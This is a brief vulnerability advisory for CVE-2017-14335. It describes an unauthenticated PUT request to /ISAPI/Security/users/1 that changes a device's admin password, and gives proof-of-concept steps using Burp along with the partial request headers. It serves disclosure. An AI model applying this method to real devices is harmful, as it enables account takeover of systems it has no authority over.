Vulnerability details
User controlled input is not sufficiently sanitized, by sending a PUT request to /ISAPI/Security/users/1 HTTP/1.1 an attacker can change the admin password.
CVE: CVE-2017-14335
Proof of Concept
In order to exploit the vulnerability, we need to use proxy tool (like Burp). We then connect to the victim’s machine and need to capture the data package.

We then edit the data of the following PUT request:

PUT /ISAPI/Security/users/1 HTTP/1.1
Host: x.x.x.x
Content-Length: 321
Cache-Control: max-age=0
